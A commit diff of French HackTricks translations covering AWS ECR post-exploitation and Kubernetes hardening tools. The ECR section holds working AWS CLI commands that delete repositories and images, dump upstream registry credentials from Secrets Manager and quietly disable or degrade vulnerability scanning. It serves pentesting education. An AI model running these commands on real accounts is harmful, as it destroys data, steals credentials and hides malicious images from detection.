Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-12-17 10:11:35 +00:00
parent b2a76c0f5b
commit abc0428653
2 changed files with 167 additions and 63 deletions

View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \ --registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
``` ```
Après avoir téléchargé les images, vous devez **les vérifier pour des informations sensibles** : Après avoir téléchargé les images, vous devriez **les vérifier pour des informations sensibles**:
{{#ref}} {{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une lifecycle policy pour supprimer toutes les images du dépôt** puis **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt. Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images dans le dépôt** puis **supprimer l'intégralité du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneurs stockées dans le dépôt.
```bash ```bash
# Create a JSON file with the malicious lifecycle policy # Create a JSON file with the malicious lifecycle policy
echo '{ echo '{
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository # Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
``` ```
### Exfiltrer les identifiants des registres upstream depuis ECR PullThrough Cache (PTC) ### Exfiltrate upstream registry credentials from ECR PullThrough Cache (PTC)
Si ECR PullThrough Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un accès large en lecture à Secrets Manager, ce qui permet l'exfiltration des identifiants et leur réutilisation en dehors d'AWS. Si ECR PullThrough Cache est configuré pour des upstream registries authentifiées (Docker Hub, GHCR, ACR, etc.), les upstream registry credentials sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux administrateurs ECR un large accès en lecture à Secrets Manager, permettant credential exfiltration et reuse en dehors d'AWS.
Prérequis Prérequis
- secretsmanager:ListSecrets - secretsmanager:ListSecrets
- secretsmanager:GetSecretValue - secretsmanager:GetSecretValue
Énumérer les secrets PTC potentiels Énumérer les secrets PTC candidats
```bash ```bash
aws secretsmanager list-secrets \ aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text --output text
``` ```
Dump les secrets découverts et parse les champs communs Extraire les secrets découverts et analyser les champs communs
```bash ```bash
for s in $(aws secretsmanager list-secrets \ for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -114,17 +114,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done done
``` ```
Optionnel : valider les leaked creds contre l'upstream (login en lecture seule) Optionnel : valider les leaked creds contre l'upstream (readonly login)
```bash ```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
``` ```
Impact Impact
- La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables du registre upstream (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream. - La lecture de ces entrées Secrets Manager fournit des identifiants réutilisables pour le registre upstream (username/password or token), qui peuvent être exploités en dehors d'AWS pour récupérer des images privées ou accéder à des dépôts supplémentaires selon les permissions upstream.
### Dissimulation au niveau du registre : désactiver ou rétrograder le scan via `ecr:PutRegistryScanningConfiguration` ### Registry-level stealth: désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration`
Un attaquant disposant de permissions ECR au niveau du registre peut réduire silencieusement ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles pushes d'images d'être analysées automatiquement, dissimulant des images vulnérables ou malveillantes. Un attaquant disposant de permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en configurant la registry scanning configuration sur BASIC sans aucune règle scan-on-push. Cela empêche les nouvelles images poussées d'être analysées automatiquement, masquant ainsi des images vulnérables ou malveillantes.
Prérequis Prérequis
- ecr:PutRegistryScanningConfiguration - ecr:PutRegistryScanningConfiguration
@@ -132,7 +132,7 @@ Prérequis
- ecr:PutImageScanningConfiguration (optionnel, par dépôt) - ecr:PutImageScanningConfiguration (optionnel, par dépôt)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification) - ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
Rétrogradation à l'échelle du registre vers manuel (pas d'analyses automatiques) Rétrogradation à l'échelle du registre vers manuel (aucun scan automatique)
```bash ```bash
REGION=us-east-1 REGION=us-east-1
# Read current config (save to restore later) # Read current config (save to restore later)
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists # Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
``` ```
Optionnel : dégrader davantage à léchelle du dépôt Optionnel : dégrader davantage au niveau du dépôt
```bash ```bash
# Disable scan-on-push for a specific repository # Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \ aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false --image-scanning-configuration scanOnPush=false
``` ```
Impact Impact
- Les nouvelles images poussées dans le registre ne sont pas analysées automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée. - Les nouveaux pushs d'images dans tout le registre ne sont pas analysés automatiquement, réduisant la visibilité du contenu vulnérable ou malveillant et retardant la détection jusqu'à ce qu'une analyse manuelle soit lancée.
### gradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) ### Rétrogradation du moteur de scan à l'échelle du registre via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Réduisez la qualité de détection des vulnérabilités sur l'ensemble du registre en basculant le moteur de scan BASIC du défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas l'analyse mais peut modifier de manière significative les résultats/la couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les analyses uniquement manuelles. Réduisez la qualité de détection des vulnérabilités pour l'ensemble du registre en basculant le moteur de scan BASIC du réglage par défaut AWS_NATIVE vers l'ancien moteur CLAIR. Cela n'empêche pas le scan, mais peut modifier de façon significative les résultats/couverture. Combinez avec une configuration de scan BASIC du registre sans règles pour rendre les scans uniquement manuels.
Prérequis Requirements
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` - (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Impact Impact
- Le paramètre du registre `BASIC_SCAN_TYPE_VERSION` est réglé sur `CLAIR`, de sorte que les scans BASIC suivants s'exécuteront avec le moteur gradé. CloudTrail enregistre l'appel API `PutAccountSetting`. - La configuration du registre `BASIC_SCAN_TYPE_VERSION` est définie sur `CLAIR`, de sorte que les scans BASIC suivants s'exécutent avec le moteur rétrogradé. CloudTrail enregistre l'appel API `PutAccountSetting`.
Étapes Étapes
```bash ```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects # 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
``` ```
### Scanner les images ECR pour les vulnérabilités
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Renforcement de Kubernetes # Kubernetes Durcissement
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
Il effectuera **plusieurs contrôles de conformité sur le cluster Kubernetes**. Il inclut le support pour CIS, National Security Agency (NSA) et Cybersecurity and Infrastructure Security Agency (CISA) Cybersecurity technical report pour le renforcement de Kubernetes. Il effectuera **plusieurs contrôles de conformité sur le cluster Kubernetes**. Il inclut la prise en charge des recommandations CIS, du National Security Agency (NSA) et du Cybersecurity and Infrastructure Security Agency (CISA) — rapport technique sur la cybersécurité pour le durcissement de Kubernetes.
```bash ```bash
# Install Steampipe # Install Steampipe
brew install turbot/tap/powerpipe brew install turbot/tap/powerpipe
@@ -27,30 +27,30 @@ powerpipe server
``` ```
### [**Kubescape**](https://github.com/armosec/kubescape) ### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) est un outil open-source pour K8s offrant une interface unique multi-cloud pour K8s, incluant l'analyse de risques, la conformité de sécurité, le visualiseur RBAC et l'analyse des vulnérabilités des images. Kubescape scanne les clusters K8s, les fichiers YAML et les HELM charts, détecte les mauvaises configurations selon plusieurs frameworks (tels que le [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), le [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), les vulnérabilités logicielles et les violations RBAC (role-based-access-control) dès les premières étapes du pipeline CI/CD, calcule instantanément un score de risque et affiche les tendances de risque au fil du temps. [**Kubescape**](https://github.com/armosec/kubescape) est un outil open-source K8s offrant une vue centralisée multi-cloud pour K8s, incluant l'analyse des risques, la conformité de sécurité, un visualiseur RBAC et l'analyse des vulnérabilités d'images. Kubescape scanne les clusters K8s, les fichiers YAML et les HELM charts, détectant les mauvaises configurations selon plusieurs frameworks (tels que le [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , le [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), les vulnérabilités logicielles et les violations RBAC (role-based-access-control) dès les premières phases du pipeline CI/CD, calcule instantanément un score de risque et affiche les tendances de risque dans le temps.
```bash ```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose kubescape scan --verbose
``` ```
### [**Popeye**](https://github.com/derailed/popeye) ### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) est un utilitaire qui scanne un cluster Kubernetes en production et **signale les problèmes potentiels liés aux ressources déployées et aux configurations**. Il assainit votre cluster en se basant sur ce qui est déployé et non sur ce qui est présent sur le disque. En scannant votre cluster, il détecte les mauvaises configurations et vous aide à vous assurer que les bonnes pratiques sont en place, évitant ainsi des maux de tête futurs. Il vise à réduire la surcharge cognitive \_over_load que l'on rencontre lors de l'exploitation d'un cluster Kubernetes en conditions réelles. De plus, si votre cluster utilise un metric-server, il signale les éventuelles sous/sur-allocation de ressources et tente de vous avertir si votre cluster venait à manquer de capacité. [**Popeye**](https://github.com/derailed/popeye) est un utilitaire qui analyse un cluster Kubernetes en production et **signale les problèmes potentiels liés aux ressources déployées et aux configurations**. Il assainit votre cluster en se basant sur ce qui est déployé et non sur ce qui est présent sur le disque. En scannant votre cluster, il détecte les mauvaises configurations et vous aide à garantir que les bonnes pratiques sont en place, évitant ainsi des maux de tête ultérieurs. Il vise à réduire la charge cognitive \_over_load rencontrée lors de l'exploitation d'un cluster Kubernetes en environnement réel. De plus, si votre cluster utilise un metric-server, il signale les éventuelles sur/sous-allocations de ressources et tente de vous avertir si votre cluster manque de capacité.
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
L'outil [**kube-bench**](https://github.com/aquasecurity/kube-bench) vérifie si Kubernetes est déployé de manière sécurisée en exécutant les contrôles documentés dans le [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\ L'outil [**kube-bench**](https://github.com/aquasecurity/kube-bench) vérifie si Kubernetes est déployé de manière sécurisée en exécutant les contrôles documentés dans le [**CIS Kubernetes Benchmark**].\
Vous pouvez choisir de : Vous pouvez choisir de :
- exécuter kube-bench depuis l'intérieur d'un conteneur (en partageant le namespace PID avec l'hôte) - exécuter kube-bench depuis l'intérieur d'un conteneur (en partageant le PID namespace avec l'hôte)
- exécuter un conteneur qui installe kube-bench sur l'hôte, puis exécuter kube-bench directement sur l'hôte - exécuter un conteneur qui installe kube-bench sur l'hôte, puis lancer kube-bench directement sur l'hôte
- installer les derniers binaires depuis la [Releases page](https://github.com/aquasecurity/kube-bench/releases), - installer les derniers binaires depuis la [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- le compiler depuis les sources. - le compiler depuis les sources.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[DEPRECATED]** L'outil [**kubeaudit**](https://github.com/Shopify/kubeaudit) est un outil en ligne de commande et un package Go pour **auditer des clusters Kubernetes** sur différentes problématiques de sécurité. **[OBSOLÈTE]** L'outil [**kubeaudit**](https://github.com/Shopify/kubeaudit) est un outil en ligne de commande et un package Go pour **auditer des clusters Kubernetes** concernant diverses problématiques de sécurité.
Kubeaudit peut détecter s'il s'exécute à l'intérieur d'un conteneur dans un cluster. Si c'est le cas, il tentera d'auditer toutes les ressources Kubernetes de ce cluster : Kubeaudit peut détecter s'il s'exécute à l'intérieur d'un conteneur dans un cluster. Dans ce cas, il tentera d'auditer toutes les ressources Kubernetes de ce cluster :
``` ```
kubeaudit all kubeaudit all
``` ```
@@ -58,17 +58,17 @@ Cet outil possède également l'argument `autofix` pour **corriger automatiqueme
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[DÉPRÉCATÉ]** L'outil [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) recherche des faiblesses de sécurité dans les clusters Kubernetes. L'outil a été développé pour accroître la sensibilisation et la visibilité des problèmes de sécurité dans les environnements Kubernetes. **[DÉPRÉCIÉ]** L'outil [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) recherche des faiblesses de sécurité dans les clusters Kubernetes. L'outil a été développé pour accroître la sensibilisation et la visibilité des problèmes de sécurité dans les environnements Kubernetes.
```bash ```bash
kube-hunter --remote some.node.com kube-hunter --remote some.node.com
``` ```
### [Trivy](https://github.com/aquasecurity/trivy) ### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) dispose de scanners qui recherchent des problèmes de sécurité, et des cibles où il peut trouver ces problèmes : [Trivy](https://github.com/aquasecurity/trivy) dispose de scanners qui recherchent des problèmes de sécurité, et des cibles où ils peuvent trouver ces problèmes :
- Image de conteneur - Image de conteneur
- Système de fichiers - Système de fichiers
- Dépôt Git (à distance) - Dépôt Git (remote)
- Image de machine virtuelle - Image de machine virtuelle
- Kubernetes - Kubernetes
@@ -77,46 +77,46 @@ kube-hunter --remote some.node.com
**[Semble non maintenu]** **[Semble non maintenu]**
[**Kubei**](https://github.com/Erezf-p/kubei) est un outil d'analyse des vulnérabilités et du CIS Docker benchmark qui permet aux utilisateurs d'obtenir une évaluation précise et immédiate du risque de leurs clusters Kubernetes. Kubei scanne toutes les images utilisées dans un cluster Kubernetes, y compris les images des pods applicatifs et des pods système. [**Kubei**](https://github.com/Erezf-p/kubei) est un outil de scan de vulnérabilités et de benchmark CIS Docker qui permet aux utilisateurs d'obtenir une évaluation précise et immédiate du risque de leurs clusters kubernetes. Kubei scanne toutes les images utilisées dans un cluster Kubernetes, y compris les images des pods d'application et des pods système.
### [**KubiScan**](https://github.com/cyberark/KubiScan) ### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) est un outil qui scanne les clusters Kubernetes à la recherche de permissions risquées dans le modèle d'autorisation Role-based access control (RBAC) de Kubernetes. [**KubiScan**](https://github.com/cyberark/KubiScan) est un outil pour scanner les clusters Kubernetes à la recherche de permissions risquées dans le modèle d'autorisation Role-based access control (RBAC) de Kubernetes.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) est un outil conçu pour tester d'autres types de contrôles à haut risque comparé aux autres outils. Il dispose principalement de 3 modes différents : [**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) est un outil conçu pour tester d'autres types de contrôles à haut risque comparé aux autres outils. Il possède principalement 3 modes différents :
- **`find-role-relationships`** : qui trouvera quels rôles AWS s'exécutent dans quels pods - **`find-role-relationships`**: Qui trouvera quels rôles AWS s'exécutent dans quels pods
- **`find-secrets`** : qui tente d'identifier les secrets dans les ressources K8s telles que Pods, ConfigMaps et Secrets. - **`find-secrets`**: Qui tente d'identifier des secrets dans les ressources K8s telles que Pods, ConfigMaps et Secrets.
- **`test-imds-access`** : qui essaiera d'exécuter des pods et d'accéder aux metadata v1 et v2. ATTENTION : cela lancera un pod dans le cluster, soyez très prudent car vous ne voudrez peutêtre pas faire cela ! - **`test-imds-access`**: Qui essaiera de lancer des pods et d'accéder aux metadata v1 et v2. ATTENTION : Cela exécutera un pod dans le cluster, soyez très prudent car peut-être vous ne voulez pas faire cela !
## **Audit du code IaC** ## **Auditer le code IaC**
### [**KICS**](https://github.com/Checkmarx/kics) ### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) trouve **des vulnérabilités de sécurité**, des problèmes de conformité et des mauvaises configurations d'infrastructure dans les **solutions Infrastructure as Code** suivantes : Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM et les spécifications OpenAPI 3.0 [**KICS**](https://github.com/Checkmarx/kics) trouve des vulnérabilités de sécurité, des problèmes de conformité et des mauvaises configurations d'infrastructure dans les solutions Infrastructure as Code suivantes : Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, et les spécifications OpenAPI 3.0
### [**Checkov**](https://github.com/bridgecrewio/checkov) ### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) est un outil d'analyse statique de code pour l'infrastructure-as-code. [**Checkov**](https://github.com/bridgecrewio/checkov) est un outil d'analyse statique de code pour l'infrastructure-as-code.
Il scanne l'infrastructure cloud provisionnée en utilisant [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) et détecte les mauvaises configurations de sécurité et de conformité en utilisant une analyse basée sur les graphes. Il scanne l'infrastructure cloud provisionnée en utilisant [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ou [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) et détecte les erreurs de configuration de sécurité et de conformité en utilisant une analyse basée sur un graphe.
### [**Kube-score**](https://github.com/zegl/kube-score) ### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) est un outil qui effectue une analyse statique du code de vos définitions d'objets Kubernetes. [**kube-score**](https://github.com/zegl/kube-score) est un outil qui effectue une analyse statique des définitions d'objets Kubernetes.
To install: Pour installer :
| Distribution | Commande / Lien | | Distribution | Commande / Lien |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- | | --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Binaires précompilés pour macOS, Linux, et Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | | Binaries précompilés pour macOS, Linux, et Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | | Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS et Linux) | `brew install kube-score` | | Homebrew (macOS et Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS et Linux) | `kubectl krew install score` | | [Krew](https://krew.sigs.k8s.io/) (macOS et Linux) | `kubectl krew install score` |
## Outils pour analyser les fichiers YAML & Helm Charts ## Outils pour analyser les fichiers YAML et les Helm Charts
### [**Kube-linter**](https://github.com/stackrox/kube-linter) ### [**Kube-linter**](https://github.com/stackrox/kube-linter)
```bash ```bash
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \ --set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan - | kubesec scan -
``` ```
## Scan des problèmes de dépendances
### Scan des images
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Scan Helm charts
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## Conseils ## Conseils
### Kubernetes PodSecurityContext and SecurityContext ### Kubernetes PodSecurityContext and SecurityContext
Vous pouvez configurer le **security context des Pods** (avec _PodSecurityContext_) et des **conteneurs** qui vont être exécutés (avec _SecurityContext_). Pour plus d'informations, lisez : Vous pouvez configurer le **contexte de sécurité des Pods** (avec _PodSecurityContext_) et des **containers** qui vont être exécutés (avec _SecurityContext_). Pour plus d'informations lisez :
{{#ref}} {{#ref}}
kubernetes-securitycontext-s.md kubernetes-securitycontext-s.md
{{#endref}} {{#endref}}
### Kubernetes API Hardening ### Renforcement de l'API Kubernetes
Il est très important de **protéger l'accès au Kubernetes Api Server**, car un acteur malveillant disposant de privilèges suffisants pourrait l'abuser et endommager de multiples façons l'environnement.\ Il est très important de **protéger l'accès au Kubernetes Api Server** car un acteur malveillant disposant de privilèges suffisants pourrait l'abuser et endommager l'environnement de nombreuses façons.\
Il est crucial de sécuriser à la fois **l'accès** (**whitelist** des origines pouvant accéder à l'API Server et refus de toute autre connexion) et la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (en suivant le principe du **moindre** **privilège**). Et surtout **ne jamais** **autoriser** **de** **requêtes** **anonymes**. Il est important de sécuriser à la fois **l'accès** (**whitelist** des origines autorisées à accéder à l'API Server et refuser toute autre connexion) et la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (en suivant le principe du **moindre** **privilège**). Et surtout **ne** **laissez** **jamais** **de** **requêtes** **anonymes**.
**Processus de requête courant :**\ **Processus de requête courant :**\
User ou K8s ServiceAccount > Authentication > Authorization > Admission Control. Utilisateur ou K8s ServiceAccount > Authentication > Authorization > Admission Control.
**Conseils** : **Conseils** :
- Fermer les ports. - Fermer les ports.
- Éviter l'accès anonyme. - Éviter l'accès anonyme.
- NodeRestriction ; pas d'accès depuis des nœuds spécifiques à l'API. - NodeRestriction ; pas d'accès depuis des nœuds spécifiques vers l'API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Empêche essentiellement les kubelets d'ajouter/supprimer/mettre à jour des labels avec le préfixe node-restriction.kubernetes.io/. Ce préfixe d'étiquette est réservé aux administrateurs pour étiqueter leurs objets Node à des fins d'isolation des workloads, et les kubelets ne seront pas autorisés à modifier les labels avec ce préfixe. - Empêche essentiellement les kubelets d'ajouter/supprimer/mettre à jour des labels avec un préfixe node-restriction.kubernetes.io/. Ce préfixe d'étiquette est réservé aux administrateurs pour étiqueter leurs Node objects à des fins d'isolation des workloads, et les kubelets ne seront pas autorisés à modifier les labels avec ce préfixe.
- Et aussi, permet aux kubelets d'ajouter/supprimer/mettre à jour ces labels et préfixes d'étiquettes. - Et aussi, permet aux kubelets d'ajouter/supprimer/mettre à jour ces labels et préfixes d'étiquettes.
- Assurer l'isolation sécurisée des workloads via les labels. - Assurer l'isolation sécurisée des workloads via les labels.
- Empêcher certains pods d'accéder à l'API. - Empêcher l'accès à l'API pour certains pods.
